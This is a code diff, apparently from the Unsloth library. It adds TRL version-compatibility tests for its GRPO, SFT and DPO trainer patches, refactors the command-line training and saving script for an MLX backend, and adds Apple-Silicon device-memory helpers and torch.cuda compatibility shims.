+# daily-fresh-fetch collects tests/version_compat/ with only pytest installed;
+# the spoof and the rest of this module need the real torch runtime. Skip the
+# whole module cleanly when torch is absent rather than crashing collection.
+if importlib.util.find_spec("torch") is None:
+    pytest.skip("torch not installed; fake-run needs the real runtime", allow_module_level = True)
+
+# Apply the spoof BEFORE any unsloth-touching import (mirrors
+# tests/vllm_compat/test_extended_module_imports.py).
+_SPOOF_DIR = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(_SPOOF_DIR))
+import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
+
+_spoof.apply()
+
+
+def _stub_module(name: str, attrs: dict | None = None) -> None:
+    if name in sys.modules:
+        return
+    m = types.ModuleType(name)
+    m.__spec__ = importlib.machinery.ModuleSpec(name = name, loader = None, origin = "<test stub>")
+    for k, v in (attrs or {}).items():
+        setattr(m, k, v)
+    sys.modules[name] = m
+
+
+_stub_module("torchcodec")
+
+
+def _trl_version():
+    import trl
+    from packaging.version import Version
+    return Version(trl.__version__.split("+")[0])
+
+
+def _patch_grpo_and_get_source() -> str:
+    """Run the GRPO patcher against the installed TRL and return the generated
+    UnslothGRPOTrainer source. Calls the impl (not the try/except wrapper) so a
+    transform/compile regression surfaces as a hard error instead of a silent
+    no-op."""
+    import trl.trainer.grpo_trainer as _g
+
+    from unsloth.models import rl as _rl
+
+    _rl._patch_trl_rl_trainers_impl("grpo_trainer")
+    patched = _g.GRPOTrainer
+    assert patched.__name__ == "UnslothGRPOTrainer", (
+        f"GRPO patch silently no-oped: trl.trainer.grpo_trainer.GRPOTrainer is "
+        f"{patched.__name__!r}, expected 'UnslothGRPOTrainer' (transform failed "
+        f"or dispatch key drifted on this TRL)"
+    )
+    # The transformed body (__init__ rewrites, injected per-token-logps) lives in
+    # the generated module's `_UnslothGRPOTrainer` base + module-level funcs, not
+    # the thin UnslothGRPOTrainer subclass -- read the whole generated module.
+    mod = inspect.getmodule(patched)
+    return inspect.getsource(mod) if mod is not None else inspect.getsource(patched)
+
+
+@pytest.fixture(scope = "module")
+def generated_grpo_source():
+    if importlib.util.find_spec("unsloth") is None:
+        pytest.skip("unsloth not installed")
+    if importlib.util.find_spec("trl") is None:
+        pytest.skip("trl not installed")
+    # Do NOT swallow import errors: unsloth is installed here, so a failing
+    # `import unsloth` is exactly the import-time TRL/transformers drift this
+    # canary must surface as a failure, not a skip.
+    import unsloth  # noqa: F401  -- _gpu_init bootstrap under spoof
+
+    return _patch_grpo_and_get_source()
+
+
+def test_grpo_patch_generates_valid_source(generated_grpo_source):
+    """The generated UnslothGRPOTrainer must be syntactically valid Python."""
+    ast.parse(generated_grpo_source)
+
+
+def test_grpo_patch_aux_fail_fast_injected(generated_grpo_source):
+    """TRL >= 1.7.0: rl.py injects a fail-fast for the unsupported MoE router
+    aux-loss opt-in right after `self.aux_loss_enabled = ...`."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("aux_loss_enabled / router_aux_loss_coef are TRL >= 1.7.0")
+    assert "does not compute the MoE router auxiliary loss" in generated_grpo_source, (
+        "aux fail-fast raise missing from generated trainer; rl.py's "
+        "aux_loss_enabled .replace() anchor did not match this TRL"
+    )
+
+
+def test_grpo_patch_three_tuple_return(generated_grpo_source):
+    """TRL >= 1.7.0 call sites unpack a 3-tuple from
+    _get_per_token_logps_and_entropies; the injected replacement must return
+    (logps, entropies, aux_loss)."""
+    from packaging.version import Version
+    if _trl_version() >= Version("1.7.0"):
+        assert "return logprobs.detach(), entropies, aux_loss" in generated_grpo_source, (
+            "3-tuple per-token-logps return missing; the arity version-gate in "
+            "rl_replacements.py did not emit the >=1.7.0 form"
+        )
+    else:
+        assert (
+            "return logprobs.detach(), entropies, aux_loss" not in generated_grpo_source
+        ), "2-tuple TRL got the 3-tuple return; arity gate mis-fired"
+
+
+def test_grpo_patch_preserves_grad_checkpointing_block(generated_grpo_source):
+    """The tightened PR #6904 PEFT regex must remove only the ref-adapter init,
+    not the following enable_input_require_grads gradient-checkpointing block."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("ref-adapter elif block is the TRL >= 1.7.0 shape")
+    assert "enable_input_require_grads" in generated_grpo_source, (
+        "gradient-checkpointing enable_input_require_grads() block was swallowed "
+        "by the PEFT-removal regex (over-reach regression)"
+    )
+
+
+def test_grpo_patch_neutralizes_ref_adapter_and_qlora_cast(generated_grpo_source):
+    """TRL >= 1.7.0: the ref-adapter copy and the hardcoded QLoRA bf16 cast must
+    both be gone from the generated trainer."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("targets the TRL >= 1.7.0 PEFT / _is_quantized_model shapes")
+    assert (
+        "ref_param.data.copy_(param.data)" not in generated_grpo_source
+    ), "TRL's PEFT ref-adapter init survived; rl.py peft_pattern re.sub no-oped"
+    assert (
+        "if _is_quantized_model:" not in generated_grpo_source
+    ), "TRL's hardcoded QLoRA bf16 cast survived; rl.py neutralization no-oped"
+
+
+# SFT / DPO: the same source-transform patcher runs on them (a fake patch run,
+# no training), so a structural TRL change can break generation. Assert the patch
+# produces a valid, importable Unsloth trainer AND that the shared QLoRA
+# `_is_quantized_model` bf16 cast is neutralized (TRL 1.7's spelling), which the
+# patcher applies to every trainer. Catches "and or others" beyond GRPO.
+
+
+def _patch_and_get_source(trainer_file: str, trainer_cls: str) -> str:
+    if importlib.util.find_spec("unsloth") is None or importlib.util.find_spec("trl") is None:
+        pytest.skip("unsloth or trl not installed")
+    # Let a real import failure fail the test (import-time drift is the target).
+    import unsloth  # noqa: F401
+    import trl.trainer  # noqa: F401
+
+    from unsloth.models import rl as _rl
+
+    _rl._patch_trl_rl_trainers_impl(trainer_file)
+    mod = importlib.import_module(f"trl.trainer.{trainer_file}")
+    patched = getattr(mod, trainer_cls)
+    assert patched.__name__ == f"Unsloth{trainer_cls}", (
+        f"{trainer_cls} patch silently no-oped on this TRL "
+        f"(got {patched.__name__!r}); source-transform dispatch drifted"
+    )
+    gen = inspect.getmodule(patched)
+    src = inspect.getsource(gen) if gen is not None else inspect.getsource(patched)
+    ast.parse(src)
+    return src
+
+
+def _assert_quantized_cast_neutralized(src: str, trainer_cls: str) -> None:
+    from packaging.version import Version
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("pre-1.7.0 spells the QLoRA cast differently (is_loaded_in_4bit)")
+    assert "if _is_quantized_model:" not in src, (
+        f"{trainer_cls}: TRL's hardcoded QLoRA bf16 cast survived; the shared "
+        f"rl.py `if _is_quantized_model:` -> `if False:` neutralization no-oped"
+    )
+
+
+def test_sft_patch_generates_valid_source():
+    src = _patch_and_get_source("sft_trainer", "SFTTrainer")
+    _assert_quantized_cast_neutralized(src, "SFTTrainer")
+
+
+def test_dpo_patch_generates_valid_source():
+    src = _patch_and_get_source("dpo_trainer", "DPOTrainer")
+    _assert_quantized_cast_neutralized(src, "DPOTrainer")
+
+
+# The installed TRL in CI is always >= 1.7.0, so the < 1.7.0 return-arity
+# downgrade is never exercised by the fake-run above. Lock both arities by
+# monkeypatching rl_replacements.trl_version and re-generating the injected
+# _get_per_token_logps_and_entropies source directly (no TRL install needed).
+def test_per_token_logps_arity_gate_both_directions(monkeypatch):
+    if importlib.util.find_spec("unsloth") is None:
+        pytest.skip("unsloth not installed")
+    import unsloth  # noqa: F401
+    from packaging.version import Version
+
+    from unsloth.models import rl_replacements as _rlr
+
+    gate = _rlr.grpo_trainer__get_per_token_logps_and_entropies
+
+    # >= 1.7.0: 3-tuple return kept.
+    monkeypatch.setattr(_rlr, "trl_version", Version("1.7.0"), raising = False)
+    src_new = gate("_get_per_token_logps_and_entropies", None)
+    assert (
+        "return logprobs.detach(), entropies, aux_loss" in src_new
+    ), "3-tuple return missing for TRL >= 1.7.0"
+
+    # < 1.7.0: aux_loss element dropped -> 2-tuple. A no-op downgrade must raise
+    # (fail loud), never silently ship a 3-tuple to older TRL.
+    monkeypatch.setattr(_rlr, "trl_version", Version("1.6.0"), raising = False)
+    src_old = gate("_get_per_token_logps_and_entropies", None)
+    assert (
+        "return logprobs.detach(), entropies  # logps, entropies" in src_old
+    ), "2-tuple return missing for TRL < 1.7.0"
+    assert (
+        "entropies, aux_loss" not in src_old
+    ), "aux_loss element still present in the TRL < 1.7.0 downgrade"
diff --git a/tests/version_compat/test_trl_grpo_pinned_symbols.py b/tests/version_compat/test_trl_grpo_pinned_symbols.py
index 834692e2dd..2f935dde49 100644
--- a/tests/version_compat/test_trl_grpo_pinned_symbols.py
+++ b/tests/version_compat/test_trl_grpo_pinned_symbols.py
@@ -51,10 +51,27 @@ TRL_TAGS = [
     "v1.2.0",
     "v1.3.0",
     "v1.4.0",
+    "v1.5.0",
+    "v1.5.1",
+    "v1.6.0",
+    "v1.7.0",  # anchor: first release unsloth's TRL>=1.7.0 GRPO patch targets
+    "v1.7.1",  # current PyPI latest
     "main",
 ]
 
 
+def _tag_ge(tag: str, floor: str) -> bool:
+    """True if `tag` is `main` or a version >= `floor` (e.g. "1.7.0")."""
+    if tag == "main":
+        return True
+    from packaging.version import Version
+
+    try:
+        return Version(tag.lstrip("v")) >= Version(floor)
+    except Exception:
+        return False
+
+
 # unsloth/trainer.py + unsloth/models/rl.py rebind these top-level names.
 
 
@@ -537,3 +554,96 @@ def test_trl_truncate_with_protected_tokens_optional(tag: str):
     assert src is not None
     has_it = "truncate_with_protected_tokens" in src
     _ = has_it  # informational; pass either way.
+
+
+# 24-27. TRL >= 1.7.0 GRPO source contracts. Unlike the has_def existence
+# checks above, these pin the exact source strings unsloth/models/rl.py and
+# rl_replacements.py transform for TRL >= 1.7.0 (the window PR #6904 fixes).
+# The 1.7.0 break was invisible to the existence checks because the methods
+# still existed -- only their internal structure / return arity changed. If
+# TRL restructures one of these, the transform silently no-ops (or the
+# generated trainer breaks), so failing here on `main` gives a few-day lead.
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_peft_ref_adapter_block_contract(tag: str):
+    """rl.py (trl>=1.4.0) strips TRL's PEFT ref-adapter init with a re.DOTALL
+    regex anchored on `elif is_peft_model(model) and args.beta != 0.0:` ...
+    `ref_param.data.copy_(param.data)`. Both anchors must exist (else the
+    regex no-ops and the ref adapter is created under Unsloth), and the
+    following `enable_input_require_grads` gradient-checkpointing block must
+    remain present -- the tightened regex must NOT swallow it (PR #6904). The
+    `elif` block shape appeared in TRL 1.4.0, so this contract runs from there."""
+    if not _tag_ge(tag, "1.4.0"):
+        pytest.skip(
+            f"{tag}: pre-1.4.0 uses the `if is_peft_available()...` form (rl.py 0.27 branch)"
+        )
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "elif is_peft_model(model) and args.beta != 0.0:" in src, (
+        f"{tag}: PEFT ref-adapter `elif` anchor gone; unsloth/models/rl.py "
+        f"peft_pattern re.sub no-ops and TRL's ref adapter init runs under Unsloth"
+    )
+    assert "ref_param.data.copy_(param.data)" in src, (
+        f"{tag}: `ref_param.data.copy_(param.data)` end-anchor gone; "
+        f"unsloth/models/rl.py peft_pattern loses its DOTALL end match"
+    )
+    assert "enable_input_require_grads" in src, (
+        f"{tag}: `enable_input_require_grads` block gone from grpo_trainer.py; "
+        f"the tightened PR #6904 regex assumed it follows the ref-adapter block"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_quantized_model_cast_contract(tag: str):
+    """rl.py (trl>=1.7.0) neutralizes TRL's hardcoded QLoRA bf16 cast
+    `if _is_quantized_model:` -> `if False:`. A rename leaves the cast active,
+    which ignores the user's dtype and breaks GradScaler with fp16=True."""
+    if not _tag_ge(tag, "1.7.0"):
+        pytest.skip(f"{tag}: pre-1.7.0 spells the cast differently (is_loaded_in_4bit)")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "if _is_quantized_model:" in src, (
+        f"{tag}: `if _is_quantized_model:` gone; unsloth/models/rl.py cannot "
+        f"neutralize TRL's hardcoded QLoRA bf16 cast and it runs under Unsloth"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_aux_loss_enabled_contract(tag: str):
+    """rl.py (trl>=1.7.0) appends a fail-fast after
+    `self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0` so an
+    explicit MoE router-aux opt-in errors instead of silently training without
+    the penalty (the optimized forward cannot compute it). A change to this
+    line drops the guard silently (PR #6904)."""
+    if not _tag_ge(tag, "1.7.0"):
+        pytest.skip(f"{tag}: aux_loss_enabled / router_aux_loss_coef added in TRL 1.7.0")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0" in src, (
+        f"{tag}: `aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0` "
+        f"changed; unsloth/models/rl.py's fail-fast .replace() anchor no-ops"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_per_token_logps_aux_arity_contract(tag: str):
+    """TRL 1.7.0 added `compute_aux_loss` to
+    _get_per_token_logps_and_entropies and made every call site unpack a
+    3-tuple. rl_replacements.py version-gates its injected replacement to emit
+    a 3-tuple for trl>=1.7.0 (2-tuple below). This is the exact change the
+    has_def existence checks miss: the method still exists, only its arity
+    changed. If TRL drops/renames the aux return, the gate needs revisiting."""
+    if not _tag_ge(tag, "0.20.0"):
+        pytest.skip(f"{tag}: pre-0.20 uses legacy _get_per_token_logps (2-tuple, no aux)")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert has_def(src, "_get_per_token_logps_and_entropies", "func"), (
+        f"{tag}: _get_per_token_logps_and_entropies missing on TRL >=0.20; "
+        f"unsloth's per-token-logps injection dispatch key no longer matches"
+    )
+    if _tag_ge(tag, "1.7.0"):
+        assert "compute_aux_loss" in src, (
+            f"{tag}: TRL >=1.7.0 dropped `compute_aux_loss`; the 3-tuple "
+            f"injection gate in unsloth/models/rl_replacements.py must be revisited"
+        )
diff --git a/unsloth-cli.py b/unsloth-cli.py
index 756efef0d0..be48893d8d 100644
--- a/unsloth-cli.py
+++ b/unsloth-cli.py
@@ -22,24 +22,179 @@ import argparse
 import os
 
 
+def _is_mlx_backend(unsloth_module):
+    return bool(getattr(unsloth_module, "_IS_MLX", False))
+
+
+def _normalize_dtype(dtype, is_mlx):
+    if is_mlx and isinstance(dtype, str) and dtype.strip().lower() in {"", "none", "auto"}:
+        return None
+    return dtype
+
+
+def _prepare_device_map(is_mlx):
+    if is_mlx:
+        return None, False
+
+    from unsloth.models.loader_utils import prepare_device_map
+    return prepare_device_map()
+
+
+class _CallableTokenizerProxy:
+    def __init__(self, tokenizer):
+        self._tokenizer = tokenizer
+
+    def __getattr__(self, name):
+        return getattr(self._tokenizer, name)
+
+    def __call__(self, text, *args, **kwargs):
+        # MLX/torch-free: never request torch tensors; keep plain python ids.
+        kwargs.pop("return_tensors", None)
+        wrapped = getattr(self._tokenizer, "_tokenizer", None)
+        if callable(wrapped):
+            return wrapped(text, *args, **kwargs)
+
+        add_special_tokens = kwargs.get("add_special_tokens", False)
+        input_ids = self._tokenizer.encode(text, add_special_tokens = add_special_tokens)
+        return {"input_ids": input_ids}
+
+
+def _tokenizer_for_raw_text_loader(tokenizer, is_mlx):
+    if not is_mlx or callable(tokenizer):
+        return tokenizer
+    return _CallableTokenizerProxy(tokenizer)
+
+
+def _raw_text_loader_for_backend(
+    RawTextDataLoader,
+    tokenizer,
+    is_mlx,
+    chunk_size = 2048,
+    stride = 512,
+):
+    return RawTextDataLoader(
+        _tokenizer_for_raw_text_loader(tokenizer, is_mlx),
+        chunk_size,
+        stride,
+        return_tokenized = not is_mlx,
+    )
+
+
+def _train_with_legacy_save_control(trainer, is_mlx):
+    if not is_mlx:
+        return trainer.train()
+
+    original_save_model = getattr(trainer, "save_model", None)
+    if original_save_model is None:
+        return trainer.train()
+
+    def skip_internal_final_save(*args, **kwargs):
+        raise ValueError("legacy unsloth-cli.py owns final save")
+
+    trainer.save_model = skip_internal_final_save
+    try:
+        return trainer.train()
+    finally:
+        trainer.save_model = original_save_model
+
+
+def _iter_quantization_methods(quantization):
+    if isinstance(quantization, list):
+        return quantization
+    return [quantization]
+
+
+def _save_or_push_model(model, tokenizer, args, is_mlx):
+    if not args.save_model:
+        print("Warning: The model is not saved!")
+        return
+
+    # Enter the GGUF branch when saving or pushing GGUF, so --push_gguf works
+    # without --save_gguf (the local save is guarded separately below).
+    if args.save_gguf or args.push_gguf:
+        if not args.save_gguf:
+            print("Warning: --save_gguf not set, pushing GGUF to hub without saving locally.")
+        for quantization_method in _iter_quantization_methods(args.quantization):
+            if args.save_gguf:
+                print(f"Saving model with quantization method: {quantization_method}")
+                model.save_pretrained_gguf(
+                    args.save_path,
+                    tokenizer,
+                    quantization_method = quantization_method,
+                )
+            if args.push_model or args.push_gguf:
+                model.push_to_hub_gguf(
+                    args.hub_path,
+                    tokenizer,
+                    quantization_method = quantization_method,
+                    token = args.hub_token,
+                )
+        return
+
+    if is_mlx:
+        model.save_pretrained_merged(
+            args.save_path,
+            tokenizer,
+            save_method = args.save_method,
+            push_to_hub = args.push_model,
+            repo_id = args.hub_path if args.push_model else None,
+            token = args.hub_token,
+        )
+        return
+
+    model.save_pretrained_merged(args.save_path, tokenizer, save_method = args.save_method)
+    if args.push_model:
+        model.push_to_hub_merged(args.hub_path, tokenizer, args.save_method, token = args.hub_token)
+
+
+def _build_sft_config(SFTConfig, args, is_mlx, bf16_supported):
+    config_kwargs = dict(
+        per_device_train_batch_size = args.per_device_train_batch_size,
+        gradient_accumulation_steps = args.gradient_accumulation_steps,
+        warmup_steps = args.warmup_steps,
+        max_steps = args.max_steps,
+        learning_rate = args.learning_rate,
+        fp16 = not bf16_supported,
+        bf16 = bf16_supported,
+        logging_steps = args.logging_steps,
+        optim = args.optim,
+        weight_decay = args.weight_decay,
+        lr_scheduler_type = args.lr_scheduler_type,
+        seed = args.seed,
+        output_dir = args.output_dir,
+        report_to = args.report_to,
+        max_length = args.max_seq_length,
+        dataset_num_proc = 2,
+        packing = args.packing,
+    )
+    if is_mlx:
+        if args.per_device_eval_batch_size != 4:
+            print("Warning: --per_device_eval_batch_size is ignored on MLX without eval data.")
+    else:
+        config_kwargs["per_device_eval_batch_size"] = args.per_device_eval_batch_size
+    return SFTConfig(**config_kwargs)
+
+
 def run(args):
+    import unsloth
     from unsloth import FastLanguageModel
     from datasets import load_dataset
     from transformers.utils import strtobool
     from trl import SFTTrainer, SFTConfig
     from unsloth import is_bfloat16_supported
-    from unsloth.models.loader_utils import prepare_device_map
     import logging
     from unsloth import RawTextDataLoader
 
     logging.getLogger("hf-to-gguf").setLevel(logging.WARNING)
 
+    is_mlx = _is_mlx_backend(unsloth)
+
     # Load model and tokenizer
-    device_map, distributed = prepare_device_map()
+    device_map, distributed = _prepare_device_map(is_mlx)
     model, tokenizer = FastLanguageModel.from_pretrained(
         model_name = args.model_name,
         max_seq_length = args.max_seq_length,
-        dtype = args.dtype,
+        dtype = _normalize_dtype(args.dtype, is_mlx),
         load_in_4bit = args.load_in_4bit,
         device_map = device_map,
     )
@@ -92,11 +247,13 @@ def run(args):
     def load_dataset_smart(args):
         from transformers.utils import strtobool
         if args.raw_text_file:
-            loader = RawTextDataLoader(tokenizer, args.chunk_size, args.stride)
+            loader = _raw_text_loader_for_backend(
+                RawTextDataLoader, tokenizer, is_mlx, args.chunk_size, args.stride
+            )
             dataset = loader.load_from_file(args.raw_text_file)
         elif args.dataset.endswith((".txt", ".md", ".json", ".jsonl")):
             # Auto-detect local raw text files
-            loader = RawTextDataLoader(tokenizer)
+            loader = _raw_text_loader_for_backend(RawTextDataLoader, tokenizer, is_mlx)
             dataset = loader.load_from_file(args.dataset)
         else:
             use_modelscope = strtobool(os.environ.get("UNSLOTH_USE_MODELSCOPE", "False"))
@@ -115,27 +272,9 @@ def run(args):
     print("Data is formatted and ready!")
 
     # Configure training arguments
-    training_args = SFTConfig(
-        per_device_train_batch_size = args.per_device_train_batch_size,
-        per_device_eval_batch_size = args.per_device_eval_batch_size,
-        gradient_accumulation_steps = args.gradient_accumulation_steps,
-        warmup_steps = args.warmup_steps,
-        max_steps = args.max_steps,
-        learning_rate = args.learning_rate,
-        fp16 = not is_bfloat16_supported(),
-        bf16 = is_bfloat16_supported(),
-        logging_steps = args.logging_steps,
-        optim = args.optim,
-        weight_decay = args.weight_decay,
-        lr_scheduler_type = args.lr_scheduler_type,
-        seed = args.seed,
-        output_dir = args.output_dir,
-        report_to = args.report_to,
-        max_length = args.max_seq_length,
-        dataset_num_proc = 2,
-        ddp_find_unused_parameters = False if distributed else None,
-        packing = args.packing,
-    )
+    training_args = _build_sft_config(SFTConfig, args, is_mlx, is_bfloat16_supported())
+    if distributed:
+        training_args.ddp_find_unused_parameters = False
 
     # Initialize trainer
     trainer = SFTTrainer(
@@ -145,57 +284,9 @@ def run(args):
         args = training_args,
     )
 
-    trainer.train()
+    _train_with_legacy_save_control(trainer, is_mlx)
 
-    # Save model
-    if args.save_model:
-        # If args.quantization is a list, save once per quantization method
-        # Enter the GGUF branch when saving *or* pushing GGUF, so --push_gguf
-        # works even when --save_gguf is omitted (the local save is guarded
-        # separately below).
-        if args.save_gguf or args.push_gguf:
-            # Push-only GGUF (no --save_gguf) skips the local save; warn so it is not silent.
-            if not args.save_gguf:
-                print("Warning: --save_gguf not set, pushing GGUF to hub without saving locally.")
-            if isinstance(args.quantization, list):
-                for quantization_method in args.quantization:
-                    if args.save_gguf:
-                        print(f"Saving model with quantization method: {quantization_method}")
-                        model.save_pretrained_gguf(
-                            args.save_path,
-                            tokenizer,
-                            quantization_method = quantization_method,
-                        )
-                    if args.push_model or args.push_gguf:
-                        model.push_to_hub_gguf(
-                            args.hub_path,
-                            tokenizer,
-                            quantization_method = quantization_method,
-                            token = args.hub_token,
-                        )
-            else:
-                if args.save_gguf:
-                    print(f"Saving model with quantization method: {args.quantization}")
-                    model.save_pretrained_gguf(
-                        args.save_path,
-                        tokenizer,
-                        quantization_method = args.quantization,
-                    )
-                if args.push_model or args.push_gguf:
-                    model.push_to_hub_gguf(
-                        args.hub_path,
-                        tokenizer,
-                        quantization_method = args.quantization,
-                        token = args.hub_token,
-                    )
-        else:
-            model.save_pretrained_merged(args.save_path, tokenizer, args.save_method)
-            if args.push_model:
-                model.push_to_hub_merged(
-                    args.hub_path, tokenizer, args.save_method, token = args.hub_token
-                )
-    else:
-        print("Warning: The model is not saved!")
+    _save_or_push_model(model, tokenizer, args, is_mlx)
 
 
 if __name__ == "__main__":
diff --git a/unsloth/__init__.py b/unsloth/__init__.py
index 8202195ca8..659637dd92 100644
--- a/unsloth/__init__.py
+++ b/unsloth/__init__.py
@@ -16,6 +16,11 @@ import os, importlib.util, platform
 
 os.environ["UNSLOTH_IS_PRESENT"] = "1"
 
+# Relax Metal's context-store timeout before MLX modules can initialize Metal.
+# Keep an explicit user value authoritative.
+if platform.system() == "Darwin" and platform.machine() == "arm64":
+    os.environ.setdefault("AGX_RELAX_CDM_CTXSTORE_TIMEOUT", "1")
+
 # ── Windows console UTF-8 safety ─────────────────────────────────────────────
 # Legacy Windows consoles (cp1252) can't encode Unsloth's emoji/box-drawing
 # glyphs and crash with UnicodeEncodeError. Force stdout/stderr to UTF-8 only on
@@ -33,6 +38,27 @@ if platform.system() == "Windows":
             pass
 
 
+class _UnslothDeviceStats:
+    """Portable device metadata used by backend memory-reporting helpers."""
+
+    def __init__(
+        self,
+        name,
+        total_memory = 0,
+    ):
+        """Store a display name and total memory in bytes."""
+        self.name = name
+        self.total_memory = int(total_memory or 0)
+        self.major = 0
+        self.minor = 0
+        self.multi_processor_count = 0
+
+
+def _bytes_to_gb(value):
+    """Convert byte counts to GiB rounded"""
+    return round(float(value or 0) / 1024 / 1024 / 1024, 3)
+
+
 def _is_mlx_available():
     # Transitional import barrier: keep non-Apple-Silicon imports from touching
     # unsloth_zoo until unsloth_zoo.mlx is import-safe on GPU hosts. Then this
@@ -66,7 +92,12 @@ if _IS_MLX:
     # mlx.trainer / mlx.loader submodules. Surface a friendly install hint
     # instead of a raw ImportError on the submodule path.
     try:
-        from unsloth_zoo.mlx.trainer import MLXTrainer, MLXTrainingConfig
+        from unsloth_zoo.mlx.trainer import (
+            MLXTrainer,
+            MLXTrainingConfig,
+            _is_vlm_model,
+            _normalize_mlx_optimizer_name,
+        )
         from unsloth_zoo.mlx.loader import FastMLXModel
     except ImportError as _e:
         raise ImportError(
@@ -75,6 +106,78 @@ if _IS_MLX:
             "`pip install -U unsloth-zoo` or rerun install.sh."
         ) from _e
 
+    import dataclasses as _dataclasses
+    import inspect as _inspect
+    import importlib.machinery as _machinery
+    import sys as _sys
+    import types as _types
+    import warnings as _warnings
+
+    __version__ = unsloth_zoo.__version__
+    DEVICE_TYPE = "mlx"
+    _MLX_TRAINER_ACCEPTS_VAR_KWARGS = False
+    _MLX_TRAINER_SUPPORTED_KWARGS = frozenset()
+    try:
+        _MLX_TRAINER_INIT_PARAMETERS = _inspect.signature(MLXTrainer.__init__).parameters
+        _MLX_TRAINER_ACCEPTS_VAR_KWARGS = any(
+            param.kind is _inspect.Parameter.VAR_KEYWORD
+            for param in _MLX_TRAINER_INIT_PARAMETERS.values()
+        )
+        _MLX_TRAINER_SUPPORTED_KWARGS = frozenset(
+            name
+            for name, param in _MLX_TRAINER_INIT_PARAMETERS.items()
+            if name != "self"
+            and param.kind
+            in (
+                _inspect.Parameter.POSITIONAL_OR_KEYWORD,
+                _inspect.Parameter.KEYWORD_ONLY,
+            )
+        )
+    except (TypeError, ValueError):
+        pass
+
+    def _mlx_trainer_supports_kwarg(name):
+        """Return whether the installed zoo MLXTrainer accepts a kwarg."""
+        return _MLX_TRAINER_ACCEPTS_VAR_KWARGS or name in _MLX_TRAINER_SUPPORTED_KWARGS
+
+    def _is_mlx_cuda_device_target(device):
+        """Return True when a torch .to/.cuda target asks for CUDA on MLX."""
+        if device is None:
+            return False
+        return str(device).lower().startswith("cuda")
+
+    def _patch_mlx_batch_encoding_to_cuda():
+        """Treat tokenizer_output.to("cuda") as a no-op on the MLX backend."""
+        try:
+            from transformers.tokenization_utils_base import BatchEncoding
+        except Exception:
+            return
+
+        original_to = getattr(BatchEncoding, "to", None)
+        if original_to is None or getattr(original_to, "_unsloth_mlx_cuda_noop", False):
+            return
+
+        def batch_encoding_to(
+            self,
+            device = None,
+            *args,
+            **kwargs,
+        ):
+            target = kwargs.get("device", device)
+            if _is_mlx_cuda_device_target(target):
+                return self
+            # device given by keyword: don't also pass the positional None, or the
+            # original raises "multiple values for 'device'" (e.g. .to(device="cpu")).
+            if "device" in kwargs:
+                return original_to(self, *args, **kwargs)
+            return original_to(self, device, *args, **kwargs)
+
+        batch_encoding_to._unsloth_mlx_cuda_noop = True
+        batch_encoding_to._unsloth_original_to = original_to
+        BatchEncoding.to = batch_encoding_to
+
+    _patch_mlx_batch_encoding_to_cuda()
+
     # Load raw_text helpers without executing dataprep/__init__.py, which
     # imports synthetic.py -> torch and would defeat the torch-free MLX path.
     from pathlib import Path as _Path
@@ -89,9 +192,6 @@ if _IS_MLX:
     TextPreprocessor = _raw_text.TextPreprocessor
     del _raw_text, _raw_text_spec, _raw_text_path, _Path
 
-    __version__ = unsloth_zoo.__version__
-    DEVICE_TYPE = "mlx"
-
     class FastLanguageModel:
         @staticmethod
         def from_pretrained(*args, **kwargs):
@@ -141,14 +241,1227 @@ if _IS_MLX:
 
     is_bf16_supported = is_bfloat16_supported
 
+    def get_gpu_memory_stats():
+        """Return MLX device stats, peak memory, and total memory in GiB."""
+        import mlx.core as mx
+
+        info = mx.device_info()
+        total = info.get("memory_size") or info.get("max_recommended_working_set_size") or 0
+        get_peak_memory = getattr(mx, "get_peak_memory", None)
+        if get_peak_memory is None and hasattr(mx, "metal"):
+            get_peak_memory = getattr(mx.metal, "get_peak_memory", None)
+        peak = get_peak_memory() if callable(get_peak_memory) else 0
+        stats = _UnslothDeviceStats(info.get("device_name", "Apple GPU"), total)
+        max_memory = _bytes_to_gb(total) or 1.0
+        return stats, _bytes_to_gb(peak), max_memory
+
+    def clear_gpu_memory():
+        """Clear MLX's cached GPU memory for compatibility cleanup helpers."""
+        import mlx.core as mx
+
+        clear_cache = getattr(mx, "clear_cache", None)
+        if clear_cache is None and hasattr(mx, "metal"):
+            clear_cache = getattr(mx.metal, "clear_cache", None)
+        if callable(clear_cache):
+            clear_cache()
+
+    def _patch_mlx_torch_cuda_compat_api():
+        """Expose CUDA-shaped torch helpers for compatibility callers on MLX."""
+        try:
+            import torch
+        except Exception:
+            return
+
+        cuda = getattr(torch, "cuda", None)
+        if cuda is not None and not getattr(cuda, "_unsloth_mlx_cuda_compat_api", False):
+
+            def get_device_properties(device = None):
+                """Return MLX device stats through torch.cuda's compatibility API."""
+                return get_gpu_memory_stats()[0]
+
+            def get_device_name(device = None):
+                """Return the MLX device name through torch.cuda's compatibility API."""
+                return get_device_properties(device).name
+
+            def max_memory_reserved(device = None):
+                """Return MLX peak memory in bytes for torch.cuda compatibility API."""
+                return int(get_gpu_memory_stats()[1] * 1024 * 1024 * 1024)
+
+            def empty_cache():
+                """Clear MLX cache through torch.cuda.empty_cache()."""
+                clear_gpu_memory()
+
+            def _mlx_active_memory_bytes():
+                """Current active MLX memory in bytes (not the peak high-water mark)."""
+                import mlx.core as mx
+
+                get_active = getattr(mx, "get_active_memory", None)
+                if get_active is None and hasattr(mx, "metal"):
+                    get_active = getattr(mx.metal, "get_active_memory", None)
